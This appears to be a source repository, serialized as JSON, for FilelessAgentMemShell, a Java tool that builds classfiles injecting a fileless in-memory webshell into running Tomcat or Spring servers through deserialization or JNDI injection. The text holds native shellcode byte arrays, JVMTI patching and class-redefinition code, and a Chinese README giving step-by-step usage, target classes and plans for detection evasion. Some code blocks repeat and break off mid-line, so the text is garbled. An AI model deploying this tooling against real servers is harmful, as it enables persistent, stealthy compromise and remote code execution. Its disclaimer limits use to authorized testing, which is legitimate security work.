EC,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x8B,(byte)0x09,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x54,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x4C,(byte)0x8B,(byte)0x39,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x20,(byte)0x49,(byte)0x89,(byte)0xCE,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x48,(byte)0xBA,(byte)0x48,(byte)0x47,(byte)0x46,(byte)0x45,(byte)0x44,(byte)0x43,(byte)0x42,(byte)0x41,(byte)0x41,(byte)0xB8,(byte)0x00,(byte)0x02,(byte)0x01,(byte)0x30,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x20,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x78,(byte)0xC3};\r\n byte[] stub=new byte[]{0x48,0x47,0x46,0x45,0x44,0x43,0x42,0x41};\r\n if (pointerLength==4) {\r\n buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};\r\n stub=new byte[]{0x44,0x43,0x42,0x41};\r\n }\r\n buf = replaceBytes(buf,stub,long2ByteArray_Little_Endian(JPLISAgent+pointerLength,pointerLength));\r\n\r\n classBody[7]=0x32;\r\n try {\r\n for (Method m:result.getDeclaredMethods())\r\n {\r\n if (m.getName().equals(\"run\"))\r\n {\r\n m.invoke(result, buf);\r\n }\r\n }\r\n }\r\n finally {\r\n long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength);\r\n if (pointerLength == 4) {\r\n unsafe.putByte(native_jvmtienv + 201, (byte) 2);\r\n unsafe.putByte(native_jvmtienv + 205, (byte) 2);\r\n unsafe.putByte(native_jvmtienv + 209, (byte) 2);\r\n } else {\r\n unsafe.putByte(native_jvmtienv + 377, (byte) 2);\r\n unsafe.putByte(native_jvmtienv + 361, (byte) 2);\r\n unsafe.putByte(native_jvmtienv + 369, (byte) 2);\r\n }\r\n try {\r\n Class instrument_clazz = Class.forName(\"sun.instrument.InstrumentationImpl\");\r\n Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);\r\n constructor.setAccessible(true);\r\n Object inst = constructor.newInstance(JPLISAgent, true, false);\r\n\r\n ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);\r\n Method redefineClazz = instrument_clazz.getMethod(\"redefineClasses\", ClassDefinition[].class);\r\n redefineClazz.invoke(inst, new Object[]{\r\n new ClassDefinition[]{\r\n definition\r\n }\r\n });\r\n } catch (Throwable error) {\r\n error.printStackTrace();\r\n throw error;\r\n }\r\n }\r\n }\r\n\r\n public static byte[] long2ByteArray_Little_Endian(long l,int length) {\r\n\r\n byte[] array = new byte[length];\r\n\r\n for (int i = 0; i < array.length; i++) {\r\n array[i] = (byte) (l >> (i * 8));\r\n }\r\n return array;\r\n }\r\n\r\n\r\n private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)\r\n {\r\n for(int i=0;i instrument_clazz = Class.forName(\"sun.instrument.InstrumentationImpl\");\r\n Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);\r\n constructor.setAccessible(true);\r\n Object inst = constructor.newInstance(JPLISAgent, true, false);\r\n\r\n ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);\r\n Method redefineClazz = instrument_clazz.getMethod(\"redefineClasses\", ClassDefinition[].class);\r\n redefineClazz.invoke(inst, new Object[]{\r\n new ClassDefinition[]{\r\n definition\r\n }\r\n });\r\n } catch (Throwable error) {\r\n error.printStackTrace();\r\n throw error;\r\n }\r\n }\r\n }\r\n\r\n public static byte[] long2ByteArray_Little_Endian(long l,int length) {\r\n\r\n byte[] array = new byte[length];\r\n\r\n for (int i = 0; i < array.length; i++) {\r\n array[i] = (byte) (l >> (i * 8));\r\n }\r\n return array;\r\n }\r\n\r\n\r\n private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)\r\n {\r\n for(int i=0;i instrument_clazz = Class.forName(\"sun.instrument.InstrumentationImpl\");\r\n Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);\r\n constructor.setAccessible(true);\r\n Object inst = constructor.newInstance(JPLISAgent, true, false);\r\n\r\n ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);\r\n Method redefineClazz = instrument_clazz.getMethod(\"redefineClasses\", ClassDefinition[].class);\r\n redefineClazz.invoke(inst, new Object[]{\r\n new ClassDefinition[]{\r\n definition\r\n }\r\n });\r\n } catch (Throwable error) {\r\n error.printStackTrace();\r\n throw error;\r\n }\r\n }\r\n }\r\n\r\n public static byte[] long2ByteArray_Little_Endian(long l,int length) {\r\n\r\n byte[] array = new byte[length];\r\n\r\n for (int i = 0; i < array.length; i++) {\r\n array[i] = (byte) (l >> (i * 8));\r\n }\r\n return array;\r\n }\r\n\r\n\r\n private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)\r\n {\r\n for(int i=0;i instrument_clazz = Class.forName(\"sun.instrument.InstrumentationImpl\");\r\n Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);\r\n constructor.setAccessible(true);\r\n Object inst = constructor.newInstance(JPLISAgent, true, false);\r\n\r\n ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);\r\n Method redefineClazz = instrument_clazz.getMethod(\"redefineClasses\", ClassDefinition[].class);\r\n redefineClazz.invoke(inst, new Object[]{\r\n new ClassDefinition[]{\r\n definition\r\n }\r\n });\r\n } catch (Throwable error) {\r\n error.printStackTrace();\r\n throw error;\r\n }\r\n }\r\n }\r\n\r\n public static byte[] long2ByteArray_Little_Endian(long l,int length) {\r\n\r\n byte[] array = new byte[length];\r\n\r\n for (int i = 0; i < array.length; i++) {\r\n array[i] = (byte) (l >> (i * 8));\r\n }\r\n return array;\r\n }\r\n\r\n\r\n private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)\r\n {\r\n for(int i=0;i) m.invoke(Thread.currentThread().getContextClassLoader(), null, b, 0, b.length, null, null))\r\n .newInstance();\r\n } catch (Exception ignored) {\r\n }\r\n }\r\n\r\n @Override\r\n public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {\r\n\r\n }\r\n\r\n @Override\r\n public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {\r\n\r\n }\r\n}\r\n" }, { "path": "README.md", "content": "# FilelessAgentMemShell\r\n\r\n## #1 简单介绍\r\n\r\nFilelessAgentMemShell是一款用于自定义生成**用于注入Agent内存马**的classFile的小工具\r\n\r\nAgent内存马的工作原理是利用Java Instrument API 动态修改 正在JVM中的运行着的类字节码，选择合适的宿主类，就可以在不添加新类的前提下实现内存马逻辑\r\n\r\n过去，这项技术需要文件落地才可使用，好在 [**rebeyond**](https://xz.aliyun.com/u/8697) [**游望之**](https://xz.aliyun.com/u/40732) 提出了无文件落地利用方式，使得通过反序列化漏洞/JNDI注入来一步打入Agent内存马有了可能\r\n\r\n本工具对于前人给出的EXP进行了小幅修改，可以根据**不同目标环境和应用场景**，简单快速地生成用于注入Agent内存马的classFile\r\n\r\n## #2 原理\r\n\r\n有关Agent内存马以及其无文件落地技术的原理，可参考以下文章：\r\n\r\n对于Java Agent技术以及其内存马的简单介绍 https://www.freebuf.com/articles/web/323621.html \r\n\r\nJava内存攻击技术漫谈 https://xz.aliyun.com/t/10075\r\n\r\n论如何优雅的注入Java Agent内存马 https://xz.aliyun.com/t/11640\r\n\r\nLinux下无文件Java agent探究 https://tttang.com/archive/1525\r\n\r\nLinux下内存马进阶植入技术 https://xz.aliyun.com/t/10186\r\n\r\n## #3 使用指导\r\n\r\n建议结合[无文件落地注入Agent内存马实操](https://xz.aliyun.com/t/13150)食用，完成第一次模拟注入实验\r\n\r\n### 编译\r\n\r\n本项目基于**Java8**\r\n\r\n小的更新不会发布release，可以自行编译\r\n\r\n也可以在release中直接下载jar包\r\n\r\n### 运行\r\n\r\n**首先请确保** jar文件的同目录下有`MemShellSrc`和`out`两个文件夹，**前者可以在仓库中找到**，后者用于存放工具所生成的class文件，置空即可\r\n\r\n**请使用 Java8 运行** \r\n\r\n`java -jar FilelessAgentMemShell.jar`\r\n\r\n### 基础使用方法\r\n\r\n`Agent内存马的工作原理是利用Java Instrument API 动态修改JVM中运行着的类字节码，从而在不添加新类的前提下实现内存马逻辑`\r\n\r\n为此，你需要：\r\n\r\n#### 选定宿主类\r\n\r\n一般选择目标**请求处理逻辑**中的某一环\r\n\r\n在Tomcat环境中，这个类可以是\r\n\r\n- **org.apache.tomcat.websocket.server.WsFilter #doFilter()（推荐，代码少且无lambda表达式）**\r\n- **org.apache.catalina.core.StandardContextValve #invoke()（推荐，代码少且无lambda表达式）**\r\n- org.apache.catalina.core.ApplicationFilterChain #doFilter()（不推荐，代码多且有lambda表达式）\r\n- org.springframework.web.servlet.DispatcherServlet（不推荐，代码多）\r\n- javax.servlet.http.HttpServlet #service()（Tomcat9之后/Weblogic环境下，包前缀是`jakarta`/`weblogic`）(不推荐，代码多)\r\n\r\n#### 编写、编译替换类\r\n\r\n你可以使用Javassist工具方便的生成新字节码，一般来说可以使用insertBefore在目标方法前添加shell逻辑，以在不影响正常逻辑的前提下实现内存马\r\n\r\n如需选用包含lambda表达式的宿主类，你必须先使用**ASM框架**删除包含有lambda表达式的方法的所有内容，再使用Javassist等框架进行二次编辑\r\n\r\n有关Javassist框架的使用方法，可参照文档：\r\n\r\n**Javassist** https://www.cnblogs.com/rickiyang/p/11336268.html\r\n\r\n至于**ASM**框架，从未接触过到完全掌握需要较大时间成本，在本项目中其使用场景较为单一，所以也可以直接套用我在**[使用指南](https://xz.aliyun.com/t/13150#toc-7)**中给出的示例代码\r\n\r\n如果你完全不想接触这部分工具，也可以直接使用我给出的测试类[WsFilter.class](https://github.com/whocansee/FilelessAgentMemShell/blob/main/testEnvironment/WsFilter.class)；未来或许会给出**实战可用**的针对常见类的新字节码，详见**更新计划**\r\n\r\n测试完成之后，**建议自己编写新类**，因为动态替换字节码意味着你几乎可以做到任何事，对抗检测、循环复活、更改硬编码密钥.......\r\n\r\n#### 利用工具生成用于注入Agent内存马的类\r\n\r\n**以下是命令行参数**\r\n\r\n- -c className;eg:``org.apache.catalina.core.StandardContextValve`` (宿主类的**全限定类名**)\r\n- -p Path; eg:`/path/test.class` （新类字节码路径）\r\n- -o os; eg: `Linux/Windows`（目标操作系统）\r\n- -t templatesImpl; eg:`true/false`（是否使用templatesImpl来加载类）\r\n- -i ifbeyondJDK8; eg:`true/false`（目标JDK版本是否大于8，仅目标为Windows时需要填写）\r\n- -b eg: `32/64` (目标操作系统位数，仅对于Windows目标可指定)\r\n\r\n例如，在使用本项目提供的漏洞环境与**测试用新类**进行模拟测试时，你应该指定如下参数\r\n\r\n`java -jar .\\FilelessAgentMemshellGenerator.jar` \r\n\r\n` -b 64 ` \r\n\r\n`-c \"org.apache.tomcat.websocket.server.WsFilter\" `\r\n\r\n`-i false`\r\n\r\n` -o \"Windows\"` \r\n\r\n` -p .\\WsFilter.class` \r\n\r\n` -t false`\r\n\r\n#### 提示\r\n\r\n- **如果帮助信息出现乱码，请使用`chcp 936` 修改字符编码后重新运行项目**\r\n- 建议使用JDK低版本，以提高生成classFile的兼容性\r\n- -c指定的类名**必须是全限定名**\r\n\r\n#### 打入内存马\r\n\r\n内存马仅仅是代码执行的一种效果，并且它只有在**动态代码执行上下文**中才能发挥作用\r\n\r\n什么叫动态代码执行上下文？一个很简单的例子，CC6链（套娃调用invoke，最终执行Runtime.getRuntime().exec()）那条，就**不属于动态代码执行上下文**\r\n\r\n详细请看Ruilin师傅的：http://rui0.cn/archives/1408 \r\n\r\n而那些能动态加载字节码的sink，比如反序列化漏洞中的templatesImpl，低版本JNDI注入，就属于动态代码执行上下文\r\n\r\n利用工具生成最终类，其静态代码块中包含自注入逻辑；使用反序列化漏洞/JNDI注入漏洞让目标**动态加载类**，这就完成了攻击\r\n\r\n## #4 已知问题\r\n\r\n### 乱码问题\r\n\r\n使用中如遇乱码，可使用chcp 936切换字符编码\r\n\r\n### 目标环境限制\r\n\r\n#### JDK\r\n\r\n**`JDK8 ~ JDK11`**\r\n\r\n#### OS\r\n\r\n**暂未测试** `Windows 32bit`\r\n\r\n**暂不支持** `Linux 32bit`\r\n\r\n## #5 开发进度&更新计划\r\n\r\n- [x] 测试所有可用的JDK版本\r\n- [ ] 预置在常见宿主类中实现内存马逻辑的成品类\r\n- [ ] 提供自动化缩短payload长度的逻辑；提供分割最终字节码的逻辑，以适配分块传输\r\n- [ ] 实现msf、ysomap等工具的cli交互模式；提供英文版ReadMe；开发图形化\r\n- [ ] 联动其它攻击工具，更方便地一次打入Agent内存马\r\n- [ ] 实现 [**cincly**](https://xz.aliyun.com/u/14775) 师傅提出的“借尸还魂”技术\r\n- [ ] 提供随机类名，规避类的重复加载问题\r\n- [ ] 解决loadLibrary引起的一次攻击失败后续就不能再攻击问题\r\n\r\n## #6 背景\r\n\r\n本人在学习及实操无文件落地注入Agent内存马相关技术时需要经常测试可用的宿主类、不同JDK版本，有时还需要对shell逻辑进行修改，重复的修改、编译十分浪费时间\r\n\r\n我意识到可以编写一款简单的小工具来解决这个问题，经过一段时间的工作和反复修改，**FilelessAgentMemShell**诞生了\r\n\r\n\r\n## #7 免责申明\r\n\r\n**未经目标授权**使用本项目（FilelessAgentMemShell）给**目标**植入内存马**是非法的**，本项目**应用于且仅用于授权的安全测试**与学习研究目的\r\n\r\n**任何使用及滥用本项目造成的后果与本人无关**" }, { "path": "src/whocansee/AgentMemshell/main0.java", "content": "package whocansee.AgentMemshell;\r\n\r\nimport org.apache.commons.cli.*;\r\n\r\nimport javax.tools.JavaCompiler;\r\nimport javax.tools.ToolProvider;\r\nimport java.io.IOException;\r\nimport java.io.PrintStream;\r\nimport java.nio.charset.StandardCharsets;\r\nimport java.nio.file.Files;\r\nimport java.nio.file.Paths;\r\nimport java.nio.file.StandardOpenOption;\r\nimport java.util.Base64;\r\nimport java.util.Objects;\r\n\r\nimport static java.lang.System.out;\r\n\r\npublic class main0 {\r\n public static final String ANSI_RESET = \"\\u001B[0m\";\r\n public static final String ANSI_BLACK = \"\\u001B[30m\";\r\n public static final String ANSI_RED = \"\\u001B[31m\";\r\n public static final String ANSI_GREEN = \"\\u001B[32m\";\r\n public static final String ANSI_YELLOW = \"\\u001B[33m\";\r\n public static final String ANSI_BLUE = \"\\u001B[34m\";\r\n public static final String ANSI_PURPLE = \"\\u001B[35m\";\r\n public static final String ANSI_CYAN = \"\\u001B[36m\";\r\n public static final String ANSI_WHITE = \"\\u001B[37m\";\r\n public static String classname;\r\n public static String path;\r\n\r\n public static String os;\r\n\r\n public static void main(String[] args) throws Exception {\r\n System.setOut(new PrintStream(System.out, true, \"UTF-8\"));\r\n PrintStream out = new PrintStream(System.out, true, StandardCharsets.UTF_8.name());\r\n Options options = new Options();\r\n Option osOption = Option.builder(\"o\")\r\n .longOpt(\"os\")\r\n .desc(ANSI_RED+\"Target Linux/Windows（目标操作系统）\"+ANSI_RESET+\"\\n——————————————————————————————————————————————\")\r\n .required(true)\r\n .hasArg(true)\r\n .build();\r\n\r\n Option jdkOption = Option.builder(\"i\")\r\n .longOpt(\"ifbeyondjdk8\")\r\n .desc(ANSI_CYAN+\"true/false; If Target's JDKVersion > 8;only Windows requires（目标JDK版本是否大于8，仅目标为Windows时需要填写）\"+ANSI_RESET+\"\\n——————————————————————————————————————————————\")\r\n .hasArg(true)\r\n .build();\r\n\r\n Option pathOption = Option.builder(\"p\")\r\n .longOpt(\"path\")\r\n .desc(ANSI_BLUE+\"Path to the new classByte,eg:/path/test.class (新类字节码的路径)\"+ANSI_RESET+\"\\n——————————————————————————————————————————————\")\r\n .hasArg(true)\r\n .required(true)\r\n .build();\r\n\r\n Option templatesimplOption = Option.builder(\"t\")\r\n .longOpt(\"templatesimpl\")\r\n .desc(ANSI_GREEN+\"true/false; Whether or not using templatesImpl to load classByte.\" +\r\n \"（是否使用templatesImpl完成 类字节码加载\"+ANSI_RESET+ANSI_RESET+\"\\n——————————————————————————————————————————————\")\r\n .hasArg(true)\r\n .required(true)\r\n .build();\r\n\r\n Option classnameOption = Option.builder(\"c\")\r\n .longOpt(\"classname\")\r\n .desc(ANSI_YELLOW+\"Classname of the class to be replaced（宿主类的全限定类名）\"+ANSI_RESET+\"\\n——————————————————————————————————————————————\")\r\n .hasArg(true)\r\n .required(true)\r\n .build();\r\n\r\n Option osbitOption = Option.builder(\"b\")\r\n .longOpt(\"bit\")\r\n .desc(ANSI_PURPLE+\"32/64; Plz input target's os-bit; \" +\r\n \"Only Windows target available.\" +\r\n \"(目标操作系统位数，仅对于Windows目标可指定)\"+ANSI_RESET+\"\\n——————————————————————————————————————————————\")\r\n .hasArg(true)\r\n .build();\r\n\r\n options.addOption(classnameOption);\r\n options.addOption(pathOption);\r\n options.addOption(templatesimplOption);\r\n options.addOption(osOption);\r\n options.addOption(jdkOption);\r\n options.addOption(osbitOption);\r\n\r\n try {\r\n CommandLineParser parser = new DefaultParser();\r\n CommandLine cmd = parser.parse(options, args);\r\n\r\n String pointLength = \"8\";\r\n boolean ifBeyondJDK8 = true;\r\n String osbit = \"64\";\r\n\r\n os = cmd.getOptionValue(\"o\");\r\n path = cmd.getOptionValue(\"p\");\r\n boolean templateImpl = Boolean.parseBoolean(cmd.getOptionValue(\"t\"));\r\n classname = cmd.getOptionValue(\"c\");\r\n\r\n if (Objects.equals(os, \"Windows\")) {\r\n ifBeyondJDK8 = Boolean.parseBoolean(cmd.getOptionValue(\"i\"));\r\n out.println(ANSI_CYAN+\"ifBeyondJDK8: \" + ifBeyondJDK8+ANSI_RESET);\r\n\r\n osbit = cmd.getOptionValue(\"b\");\r\n if (Objects.equals(osbit, \"32\"))\r\n {pointLength = \"4\";}\r\n out.println(ANSI_PURPLE+\"osbit: \" + osbit+ANSI_RESET);\r\n }\r\n out.println(ANSI_RED+\"os: \" + os+ANSI_RESET);\r\n out.println(ANSI_BLUE+\"ClassFilepath: \" + path+ANSI_RESET);\r\n out.println(ANSI_YELLOW+\"classname: \" + classname+ANSI_RESET);\r\n out.println(ANSI_GREEN+\"ifUseTemplatesImpl: \" + templateImpl+ANSI_RESET);\r\n\r\n String AgentMemSrc = \"\";\r\n if (Objects.equals(os, \"Linux\") || Objects.equals(os, \"linux\")) {\r\n if (templateImpl) {\r\n AgentMemSrc = new String(Files.readAllBytes(Paths.get(\"MemShellSrc\\\\LinuxAgentMemShellWithTpl\")), StandardCharsets.UTF_8).replace(\"{{var1}}\", classname).replace(\"{{var2}}\", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}\r\n else {\r\n AgentMemSrc = new String(Files.readAllBytes(Paths.get(\"MemShellSrc\\\\LinuxAgentMemShell\")), StandardCharsets.UTF_8).replace(\"{{var1}}\", classname).replace(\"{{var2}}\", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}\r\n }\r\n else if (Objects.equals(os, \"Windows\") || Objects.equals(os, \"windows\")) {\r\n if (templateImpl) {\r\n if (ifBeyondJDK8) {\r\n AgentMemSrc = new String(Files.readAllBytes(Paths.get(\"MemShellSrc\\\\WindowsAgentMemShellBeyondJDK8WithTpl\")), StandardCharsets.UTF_8).replace(\"{{var3}}\", pointLength).replace(\"{{var1}}\", classname).replace(\"{{var2}}\", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}\r\n else{\r\n AgentMemSrc = new String(Files.readAllBytes(Paths.get(\"MemShellSrc\\\\WindowsAgentMemShellWithTpl\")), StandardCharsets.UTF_8).replace(\"{{var3}}\", pointLength).replace(\"{{var1}}\", classname).replace(\"{{var2}}\", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}\r\n }\r\n else if(ifBeyondJDK8) {\r\n AgentMemSrc = new String(Files.readAllBytes(Paths.get(\"MemShellSrc\\\\WindowsAgentMemShellBeyondJDK8\")), StandardCharsets.UTF_8).replace(\"{{var3}}\", pointLength).replace(\"{{var1}}\", classname).replace(\"{{var2}}\", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}\r\n\r\n else {\r\n AgentMemSrc = new String(Files.readAllBytes(Paths.get(\"MemShellSrc\\\\WindowsAgentMemShell\")), StandardCharsets.UTF_8).replace(\"{{var3}}\", pointLength).replace(\"{{var1}}\", classname).replace(\"{{var2}}\", Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(path))));}\r\n }\r\n else {\r\n out.println(\"os error! Please input Linux or Windows\");\r\n return;}\r\n String modifiedSourceFileName = \"AgentMemShell.java\";\r\n saveSourceFile(modifiedSourceFileName, AgentMemSrc);\r\n compileJavaFile(modifiedSourceFileName);}\r\n\r\n catch (MissingOptionException e){\r\n HelpFormatter formatter = new HelpFormatter();\r\n System.out.println(\"如果遇到了乱码，请尝试使用chcp 936更改当前字符编码后再运行程序\");\r\n System.out.println(\"建议使用JDK8较低版本运行此程序，以生成兼容性更好的类字节码\");\r\n System.out.println(\"classname 类名必须是全限定名,如javax.servlet.http.HttpServlet\");\r\n formatter.printHelp(\"Missing Options！You must use -o -c -p -t at least. \", options);\r\n }\r\n }\r\n\r\n private static void saveSourceFile(String sourceFileName, String sourceCode) {\r\n try {\r\n Files.write(Paths.get(sourceFileName), sourceCode.getBytes(), StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING);\r\n } catch (IOException e) {\r\n e.printStackTrace();\r\n }\r\n }\r\n private static void compileJavaFile(String sourceFileName) {\r\n JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();\r\n if (compiler == null) {\r\n out.println(ANSI_RED+\"Java Compiler not found. Make sure you are using a JDK.\"+ANSI_RESET);\r\n return;\r\n }\r\n int compilationResult = compiler.run(null, null, null, \"-d\",\"out\",sourceFileName);\r\n if (compilationResult == 0) {\r\n out.println(ANSI_GREEN+\"Compilation successful. AgentMemShell Class file generated:\"+\"out/\"+\"AgentMemShell.class\"+ANSI_RESET);\r\n } else {\r\n out.println(ANSI_RED+\"Compilation failed.\"+ANSI_RESET);\r\n }\r\n }\r\n\r\n}\r\n" }, { "path": "testEnvironment/readme.md", "content": "## demo.jar\r\n\r\nSpringBoot 2.7.0 搭建的简易漏洞环境\r\n\r\n在`/memShell/readObject?a=`路由处，可通过a参数传递base64编码后的序列化数据\r\n\r\n在`/memShell/jndi?b=`路由处，可通过b参数传递base64编码后的 jndi url\r\n\r\n## WsFilter.class\r\n\r\n**`org.apache.tomcat.websocket.server.WsFilter`** 的新字节码\r\n\r\n具体修改: 在`doFilter()`方法开始处插入了`Runtime.getRuntime.exec(\"calc\")` \r\n\r\n" } ]